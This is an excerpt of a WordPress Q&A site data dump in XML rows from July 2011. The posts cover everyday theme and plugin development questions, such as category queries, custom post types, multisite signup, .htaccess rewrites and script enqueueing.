  <row Id="23010" PostTypeId="1" AcceptedAnswerId="23011" CreationDate="2011-07-14T21:33:35.323" Score="0" ViewCount="20" Body="&lt;p&gt;I'm using this in a file named category-portfolio.php which is for the archives page of my portfolio.  I don't want to use cat= to specify a specific category.  But when I don't use cat= it pulls up every post regardless of category.  How do I make this code pull up only the current/relevant/portfolio category?  Thanks a million!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div id=&quot;portfolio_content&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- Grab posts --&amp;gt;&#xA;&amp;lt;?php&#xA;query_posts('posts_per_page=9&amp;amp;paged='.$paged); &#xA;if (have_posts()) :&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;portfolio_wrap&quot;&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;  &#xA;&#xA;&amp;lt;!-- Get the image --&amp;gt;&#xA;&amp;lt;div class=&quot;img&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail( 'thmb-portfolio' ); } ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Excerpt title --&amp;gt;&#xA;&amp;lt;span class=&quot;title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;!-- Excerpt description --&amp;gt;&#xA;&amp;lt;div class=&quot;desc&quot;&amp;gt;&amp;lt;?php my_excerpt('short'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;!-- Next/Previous Posts --&amp;gt;&#xA;&amp;lt;?php if (function_exists(&quot;pagination&quot;)) {&#xA;    pagination($additional_loop-&amp;gt;max_num_pages);&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- #portfolio_wrap --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-14T21:45:06.820" Title="Call Current Category" Tags="&lt;categories&gt;&lt;php&gt;" AnswerCount="1" />
  <row Id="23011" PostTypeId="2" ParentId="23010" CreationDate="2011-07-14T21:45:06.820" Score="0" ViewCount="" Body="&lt;p&gt;The problem is that your call to query_posts is overwriting the original query for the page. You have to get the original query, then modify any params from there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;// start with the original query&#xA;$myquery = wp_parse_args($query_string);&#xA;// make any changes to the query here&#xA;$myquery['posts_per_page'] = 9;&#xA;query_posts($myquery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-14T21:45:06.820" CommentCount="1" />
  <row Id="23012" PostTypeId="1" AcceptedAnswerId="23168" CreationDate="2011-07-15T00:32:43.390" Score="1" ViewCount="153" Body="&lt;p&gt;I've managed create a metabox that lets me upload and then fetch the images and then also been able to add jquery ui sortable to be able to sort the images, however I've no idea how to add actual functionality so that the sort order get saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has an idea how to achieve this or some tutorial that would be helpful, please share, I'm helplessly stuck here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Edit:&#xA;Basically, what I need to know is how to tie jQuery sortable together with the functionality that handles the different attachments menu_order.&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-07-16T16:01:16.433" LastActivityDate="2011-07-16T17:21:59.517" Title="Control attachments menu order with jQuery Sortable" Tags="&lt;attachments&gt;&lt;ajax&gt;&lt;media-library&gt;&lt;sort&gt;&lt;jquery-ui&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="23013" PostTypeId="1" CreationDate="2011-07-15T01:31:54.530" Score="0" ViewCount="198" Body="&lt;p&gt;I'm developing a multisite for Real Estate agents. Wp-signup.php used the wrong page template from my theme (homepage instead of full width page template), so I took the meat and potatoes from wp-signup.php and created a page template out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result: [http://thewebrockstar.com/realestate/signup/][1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However now step 2 (after you hit Next) redirects away from my wp-signup page template to the original wp-signup.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution to this? I was thinking it would be easiest to make wp-signup.php a 1-step process (everything on a single page) instead of this:&#xA;&lt;a href=&quot;http://i.stack.imgur.com/PTP74.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i.stack.imgur.com/PTP74.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7041" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-07-15T08:38:57.807" LastActivityDate="2011-09-03T05:32:05.043" Title="How to make wp-signup.php a 1-step process" Tags="&lt;multisite&gt;&lt;templates&gt;&lt;signup&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23014" PostTypeId="2" ParentId="17313" CreationDate="2011-07-15T01:39:46.923" Score="0" ViewCount="" Body="&lt;p&gt;Create two custom post types, one for each blog. Then you can add custom taxonomies to each one of them.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-15T01:39:46.923" />
  <row Id="23015" PostTypeId="1" CreationDate="2011-07-15T02:24:48.243" Score="0" ViewCount="25" Body="&lt;p&gt;Is there any smart way to set a site (blog) as a master, which settings are replicated to the rest of the sites in the network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins like this one: &lt;a href=&quot;http://wordpress.org/extend/plugins/yd-network-wide-wpml/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yd-network-wide-wpml/&lt;/a&gt; that attempt to accomplish this, but they don't support all settings.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2011-08-16T12:25:23.877" Title="Network-wide settings in multisite" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;settings&gt;" AnswerCount="1" />
  <row Id="23016" PostTypeId="1" CreationDate="2011-07-15T02:30:04.183" Score="1" ViewCount="45" Body="&lt;p&gt;I am having a problem with get_option. The following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = get_option('foo');&#xA;var_dump($foo);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns &lt;code&gt;bool(false)&lt;/code&gt; but if I do a mysql query, it returns one result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; SELECT COUNT(*) FROM wp_options WHERE option_name = 'foo';&#xA;+----------+&#xA;| COUNT(*) |&#xA;+----------+&#xA;|        1 | &#xA;+----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and there is a value associated with the option foo in the database. I'm not sure what the problem could be?&lt;/p&gt;&#xA;" OwnerUserId="6228" LastEditorUserId="6228" LastEditorDisplayName="" LastEditDate="2011-07-15T02:42:22.503" LastActivityDate="2011-07-15T02:42:22.503" Title="Having a problem with get_option" Tags="&lt;get-option&gt;" CommentCount="3" />
  <row Id="23017" PostTypeId="2" ParentId="22923" CreationDate="2011-07-15T02:34:07.607" Score="0" ViewCount="" Body="&lt;p&gt;You can edit your .htaccess directly or download an htaccess editor plugin for WordPress. Then write your rule similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymlinks&#xA;RewriteEngine on&#xA;RewriteRule ^(.*) $1.html [nc]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more &lt;a href=&quot;http://roshanbh.com.np/2008/02/hide-php-url-rewriting-htaccess.html&quot; rel=&quot;nofollow&quot;&gt;detailed instructions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-15T02:34:07.607" CommentCount="1" />
  <row Id="23018" PostTypeId="2" ParentId="22839" CreationDate="2011-07-15T02:44:32.507" Score="0" ViewCount="" Body="&lt;p&gt;This may be possible with a combination of website redirection and htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can park (or addon) your domain names to their respective categories such as:&#xA;www.worklife.com goes to mainsite.com/work&#xA;play.mainsite.com goes to mainsite.com/play&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, use htaccess to rewrite the URLs to show how you would like them to appear using &lt;a href=&quot;http://corz.org/serv/tricks/htaccess2.php&quot; rel=&quot;nofollow&quot;&gt;this as a guide.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6928" LastActivityDate="2011-07-15T02:44:32.507" CommentCount="1" />
  <row Id="23019" PostTypeId="1" CreationDate="2011-07-15T03:49:49.717" Score="1" ViewCount="75" Body="&lt;p&gt;Is there a way to upload photos to WordPress via FTP instead of uploading them one by one through the dashboard?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does WordPress' built in gallery allow commenting on each individual photo? If not, are there any simple gallery plugins out there that has this feature built-in?&lt;/p&gt;&#xA;" OwnerUserId="7044" LastActivityDate="2011-08-15T10:24:37.570" Title="Upload photos to WordPress via ftp w/ [gallery] shortcode?" Tags="&lt;gallery&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23021" PostTypeId="1" AcceptedAnswerId="23028" CreationDate="2011-07-15T05:09:24.693" Score="0" ViewCount="64" Body="&lt;p&gt;I am using 2011 theme, any how I managed to get sidebar on single.php pages by installing child theme,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want sidebar on pages,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get it?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-15T08:38:27.743" Title="Worpress twenty eleven sidebar on Pages" Tags="&lt;page&gt;&lt;sidebar&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" />
  <row Id="23022" PostTypeId="2" ParentId="22923" CreationDate="2011-07-15T06:14:43.520" Score="0" ViewCount="" Body="&lt;p&gt;You can add an extension to your Post permalinks in the Wordpress Admin by going to &lt;code&gt;Settings &amp;gt; Permalinks&lt;/code&gt; and creating a Custom Structure with .html at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(•) Custom Structure: /%category%/%postname%.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only work with Posts, though. If you want to add .html to Pages' permalinks, you can try a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-page-extensions/&quot; rel=&quot;nofollow&quot;&gt;Custom Page Extensions&lt;/a&gt; or use the .htaccess rule posted by Bitmap.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-07-15T06:14:43.520" />
  <row Id="23023" PostTypeId="1" CreationDate="2011-07-15T06:53:22.127" Score="0" ViewCount="55" Body="&lt;p&gt;How can I embed videos (wmv, mp4, mpg, flv) to my post from the local server. I am using WordPress 3.1.1 version. I have searched for wordpress plugins which supports this kind of feature but couldn't find any good plugins. Is there any way to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="4026" LastActivityDate="2011-08-14T17:36:41.463" Title="How to embed local video in a wordpress post" Tags="&lt;videos&gt;&lt;embed&gt;" AnswerCount="2" />
  <row Id="23024" PostTypeId="2" ParentId="23012" CreationDate="2011-07-15T07:32:34.997" Score="0" ViewCount="" Body="&lt;p&gt;Within the WordPress admin you should be able to order the attached media associated with a post/page/custom once it's been uploaded using the Gallery Tab. This will then effect the order in which they get called from the DB. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-15T07:32:34.997" CommentCount="2" />
  <row Id="23025" PostTypeId="2" ParentId="6476" CreationDate="2011-07-15T07:38:35.323" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/block-spam-by-math-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Block Spam By Math Reloaded&lt;/a&gt; for the following reasons.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no registration to a third party site (which always worries me because if they pull the service you could be left with broken forms).&lt;/li&gt;&#xA;&lt;li&gt;It has a decent score on the Wordpress site, I find the community scores to be generally quite good at highlighting good/bad plugins.&lt;/li&gt;&#xA;&lt;li&gt;Superfast to install and set up.&lt;/li&gt;&#xA;&lt;li&gt;Can be used to stop comment/login/signup/form spam&lt;/li&gt;&#xA;&lt;li&gt;It has been updated this month (July 2011) so it at the moment at least in current development&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2011-07-15T07:38:35.323" />
  <row Id="23026" PostTypeId="1" AcceptedAnswerId="27529" CreationDate="2011-07-15T07:53:10.147" Score="1" ViewCount="76" Body="&lt;p&gt;Is there anyway to rename a user role name via hook, instead of using plugin?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-09-05T13:38:03.170" Title="Is there way to rename user role name without plugin?" Tags="&lt;roles&gt;&lt;user-roles&gt;&lt;capabilities&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="23027" PostTypeId="2" ParentId="23019" CreationDate="2011-07-15T07:56:19.573" Score="0" ViewCount="" Body="&lt;p&gt;Nextgen-gallery has all those features you needed, but not a simple plugin.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-15T07:56:19.573" />
  <row Id="23028" PostTypeId="2" ParentId="23021" CreationDate="2011-07-15T08:38:27.743" Score="2" ViewCount="" Body="&lt;p&gt;Funny you should ask, I've just posted an How to tutorial on &lt;a href=&quot;http://en.bainternet.info/2011/add-sidebar-on-single-posts-and-pages-in-twenty-eleven&quot; rel=&quot;nofollow&quot;&gt;how to add a sidebar on posts and pages in Twenty Eleven&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-15T08:38:27.743" />
  <row Id="23029" PostTypeId="1" CreationDate="2011-07-15T08:39:36.790" Score="0" ViewCount="48" Body="&lt;p&gt;I am looking to create a menu and subnav based on the my custom post types, basically what I am wanting to achieve is the following, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Custom Post Type Name  &#xA;Custom Post Type Name  &#xA;    Post  &#xA;    Post  &#xA;    Post  &#xA;    Post   &#xA;Custom Post Type Name &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a little complication, as I only want to show the child posts if we on or in that custom post types page or template. Does that make sense, I thought I would be able use, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_list_pages&lt;/code&gt; but that was to no avail.&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-07-15T08:39:36.790" Title="Custom Post Type Navigation" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;&lt;wp-list-pages&gt;" CommentCount="1" />
  <row Id="23030" PostTypeId="1" CreationDate="2011-07-15T09:28:19.670" Score="1" ViewCount="50" Body="&lt;p&gt;I am following this &lt;a href=&quot;http://voodoopress.com/2011/03/review-of-posting-from-front-end-form/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; to post from front end. I am able to post the title, content, category, tags, I would like to know is it possible to add more fields like in the image below. How to increment field-set? and how to add edit the post from the front end itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically this what I want to do.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/vqY6E.jpg&quot; alt=&quot;front end post with advanced fields&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6150" LastEditorUserId="6150" LastEditorDisplayName="" LastEditDate="2011-07-15T10:52:54.653" LastActivityDate="2011-07-15T10:52:54.653" Title="Post &amp; edit a post from front end along with upload, dropdown, and other inputs" Tags="&lt;posts&gt;&lt;theme-development&gt;&lt;customization&gt;&lt;wordpress.org&gt;&lt;front-end&gt;" FavoriteCount="1" />
  <row Id="23031" PostTypeId="1" CreationDate="2011-07-15T09:29:14.253" Score="0" ViewCount="33" Body="&lt;p&gt;I have my custom post type set up with hierarchicy set to true and the url works like: &lt;em&gt;Lions News › S1 › Test Post 1&lt;/em&gt; which is nice except that it should go one futher and be like &lt;em&gt;Lions Minis › Lions News › S1 › Test Post 1&lt;/em&gt; Lions Minis being the parent page to everything. Is there a way to to set that up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is my setup in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Custom Post Types for Lions News */&#xA; $labels = array(&#xA;'name'                          =&amp;gt; 'Lions News Categories',&#xA;'singular_name'                 =&amp;gt; 'Lions Category',&#xA;'search_items'                  =&amp;gt; 'Search Lions Categories',&#xA;'popular_items'                 =&amp;gt; 'Popular Lions Categories',&#xA;'all_items'                     =&amp;gt; 'All Lions Categories',&#xA;'parent_item'                   =&amp;gt; 'Parent Lions Category',&#xA;'edit_item'                     =&amp;gt; 'Edit Lions Category',&#xA;'update_item'                   =&amp;gt; 'Update Lions Category',&#xA;'add_new_item'                  =&amp;gt; 'Add New Lions Category',&#xA;'new_item_name'                 =&amp;gt; 'New Lions Category',&#xA;'separate_items_with_commas'    =&amp;gt; 'Separate Lions Categories with commas',&#xA;'add_or_remove_items'           =&amp;gt; 'Add or remove Lions Categories',&#xA;'choose_from_most_used'         =&amp;gt; 'Choose from most used Lions Categories'&#xA;);&#xA;&#xA;$args = array(&#xA;'label'                         =&amp;gt; 'Lions Categories',&#xA;'labels'                        =&amp;gt; $labels,&#xA;'public'                        =&amp;gt; true,&#xA;'hierarchical'                  =&amp;gt; true,&#xA;'show_ui'                       =&amp;gt; true,&#xA;'show_in_nav_menus'             =&amp;gt; true,&#xA;'args'                          =&amp;gt; array( 'orderby' =&amp;gt; 'term_order' ),&#xA;'rewrite'                       =&amp;gt; array( 'slug' =&amp;gt; 'lions_news/lions_articles', 'with_front' =&amp;gt; false ),&#xA;'query_var'                     =&amp;gt; true&#xA;);&#xA;&#xA;register_taxonomy( 'lions_articles', 'lions_news', $args );&#xA;&#xA;register_post_type( 'lions_news', &#xA;array(&#xA;    'labels'                =&amp;gt; array(&#xA;        'name'              =&amp;gt; __( 'Lions News' ),&#xA;        'singular_name'     =&amp;gt; __( 'Lions News' )&#xA;        ),&#xA;    'public'                =&amp;gt; true,&#xA;    'show_ui'               =&amp;gt; true,&#xA;    'show_in_menu'          =&amp;gt; true,&#xA;    'supports'              =&amp;gt; array( 'title','editor','thumbnail','comments','revisions' ),&#xA;    'rewrite'               =&amp;gt; array( 'slug' =&amp;gt; 'lions_news', 'with_front' =&amp;gt; false ),&#xA;    'has_archive'           =&amp;gt; true&#xA;)&#xA;);&#xA;/** End custom Post Types */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6787" LastActivityDate="2011-07-15T12:30:09.750" Title="Parent a CPT to a page" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="23032" PostTypeId="1" CreationDate="2011-07-15T10:01:39.330" Score="0" ViewCount="53" Body="&lt;p&gt;As I am a novice in web development field, I wanted to clarify some questions running in my head.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to make a multilingual website with dynamic features. Dynamic features can be like anything under the sun. Is it&#xA;possible that I can make a website using WordPress (which is mostly&#xA;considered as blogging platform). Well I know that there are some limitations while making a customized website with wordpress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I learn any of the frameworks like Django or rails, if yes&#xA;why (its obvious I would have to learn CSS, Ajax, Javascript, PHP)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Suppose I want to add dynamic features in my wordpress site real&#xA;time features like that of twitter (should I learn ruby on rails&#xA;then?), or building API's, support digg like features ,people submitting&#xA;blogs and reblogging again, aggregaton features, editing features, some&#xA;facebook features like notification features on the top of your profile&#xA;page, colloborative blogging, submitting&#xA;links, photos, videos, social platform for people to know each other and&#xA;follow them, microblogging (realtime) like tumblr. Will it be fully customizable after I get my hands perfectly&#xA;on learning some languages and/or frameworks like rails or django.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't want to learn drupal as it learning curve is very high and meant for technically good programmers, while I don't have much knowledge of Joomla (and am ready for it to learn if wordpress fails).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also want to make a rich platform for advertisement which will be&#xA;commercial. Is it possible that I make a model of advertisement which is&#xA;in my mind which can link to any other websites, blogs, people (users).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The most interesting,challenging and important question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I am not able to make a website with such dynamic features with Wordpress, will I have to make pluggins, widgets,themes on my own which can be fully customized for my website. Is it possible to make such pluggins and themes which can be fulfill above said points.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7047" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-15T12:26:12.543" LastActivityDate="2011-07-15T13:59:22.613" Title="How can I make a website with dynamic features with wordpress?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;theme-development&gt;&lt;customization&gt;&lt;wordpress.org&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23033" PostTypeId="2" ParentId="23032" CreationDate="2011-07-15T10:29:04.783" Score="1" ViewCount="" Body="&lt;p&gt;1) Yes you can&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) No, but spend a lot of time reading up on &lt;a href=&quot;http://codex.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wordpress codex&lt;/strong&gt;&lt;/a&gt; (thats more or less your bible) and of course refernce through this site too, full of valuable information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Everything is very easily added to wordpress via plugins, no need to go on steep learning curves&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Wordpress is probably the most simple of all to learn and very well documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) of course WP is very flexible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) There are thousand upon thousands of plugins (no need to re-invent the wheel) there is bound to be something that fits your requirements and as well as plugins there are also themes that have been designed specificaly for niche websites&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-07-15T10:29:04.783" CommentCount="3" />
  <row Id="23034" PostTypeId="2" ParentId="22438" CreationDate="2011-07-15T10:41:27.440" Score="0" ViewCount="" Body="&lt;p&gt;Not sure where else to write this, but I am having exactly the same problem and I tried copying the code above into functions.php but my Categories still have priority over Pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please could someone write the exact code needed to make Pages take priority over Categories along with a short description of where this code needs to be copied to and any other things that need to change in order to make this all work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7048" LastActivityDate="2011-07-15T10:41:27.440" CommentCount="1" />
  <row Id="23035" PostTypeId="1" AcceptedAnswerId="23119" CreationDate="2011-07-15T10:43:04.310" Score="2" ViewCount="84" Body="&lt;p&gt;How can I remove &quot;edit your profile&quot; submenu under &quot;my-account-with-avatar&quot; admin menu bar, while still keeping the avatar and logout?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-18T03:28:29.970" Title="remove &quot;edit your profile&quot; from admin menu bar" Tags="&lt;custom-menus&gt;&lt;admin-bar&gt;" AnswerCount="2" />
  <row Id="23036" PostTypeId="2" ParentId="23023" CreationDate="2011-07-15T10:56:24.463" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried manually entering the HTML code for the &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt; in the HTML part of TinyMCE?&lt;/p&gt;&#xA;" OwnerUserId="7025" LastActivityDate="2011-07-15T10:56:24.463" CommentCount="2" />
  <row Id="23038" PostTypeId="1" AcceptedAnswerId="23072" CreationDate="2011-07-15T11:30:10.800" Score="0" ViewCount="41" Body="&lt;p&gt;I currently have a site with two levels of navigation. I am styling the wp_list_pages() list to act as my navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to disable the link on some pages which have children (not exclude) so that I can hover over them to display the drop down navigation but I can't click on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of such a method or parameter I could add?&lt;/p&gt;&#xA;" OwnerUserId="6529" LastActivityDate="2011-07-16T15:27:57.960" Title="Disable the link on certain pages" Tags="&lt;exclude&gt;&lt;wp-list-pages&gt;" AnswerCount="2" />
  <row Id="23039" PostTypeId="1" AcceptedAnswerId="23044" CreationDate="2011-07-15T11:37:52.710" Score="0" ViewCount="37" Body="&lt;p&gt;Here's my custom function to list child categories by the parent slug.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ribbon_list_cats($parent_cat_slug)&#xA;{&#xA;    $parent_category = get_category_by_slug($parent_cat_slug);&#xA;    if ($parent_category-&amp;gt;count != 0) {&#xA;        echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;        echo wp_list_categories('title_li=&amp;amp;child_of='.$parent_category-&amp;gt;term_id.'&amp;amp;hide_empty=0&amp;amp;show_option_none=&amp;amp;echo=0');&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble getting it to return and output. It doesn't throw an error. I'm using it multiple times so I created this but when I do it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_category = get_category_by_slug('lifestyle');&#xA;if ($parent_category-&amp;gt;count != 0) {&#xA;    echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;    echo wp_list_categories('title_li=&amp;amp;child_of='.$parent_category-&amp;gt;term_id.'&amp;amp;hide_empty=0&amp;amp;show_option_none=&amp;amp;echo=0');&#xA;    echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;right in the template it works fine. But that's a lot of code to repeat over and over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2011-07-15T13:49:33.377" Title="Having Trouble With get_category_by_slug In a Custom Function" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23040" PostTypeId="2" ParentId="23019" CreationDate="2011-07-15T11:42:13.020" Score="0" ViewCount="" Body="&lt;p&gt;Another option (one that I'm using to convert from NextGen Gallery to native WordPress galleries), is to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;Add From Server&lt;/a&gt; Plugin, to import images to the WordPress Media Manager.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-15T11:42:13.020" />
  <row Id="23041" PostTypeId="1" AcceptedAnswerId="23043" CreationDate="2011-07-15T11:54:19.510" Score="0" ViewCount="48" Body="&lt;p&gt;I'd like to replace my:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if(is_home())&#xA;    {&#xA;        wp_enqueue_script( 'homestuff', get_theme_part( THEME_JS . '/home.js' ), array( 'jquery' ), null, true );&#xA;        wp_enqueue_script( 'jquerycolor', get_theme_part( THEME_JS . '/jquery.color.js' ), array( 'jquery' ), null, true );&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is currently in header.php, by putting it in a functions.php file instead. Trying to tidy everything up on a sprawling client's site. I'm using wp-framework and ideally would stick this inside the enqueue_assets function in the main parent_theme class. Although this isn't really a wp-framework issue, I'd just like to know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get is_home() to work from a functions file? Is there an alternative, using globals, I need to know about?&lt;/p&gt;&#xA;" OwnerUserId="6893" LastActivityDate="2011-07-15T12:07:14.900" Title="Wordpress Enqueue for homepage only, functions.php, wp-framework" Tags="&lt;functions&gt;&lt;wp-enqueue-script&gt;&lt;homepage&gt;" AnswerCount="1" />
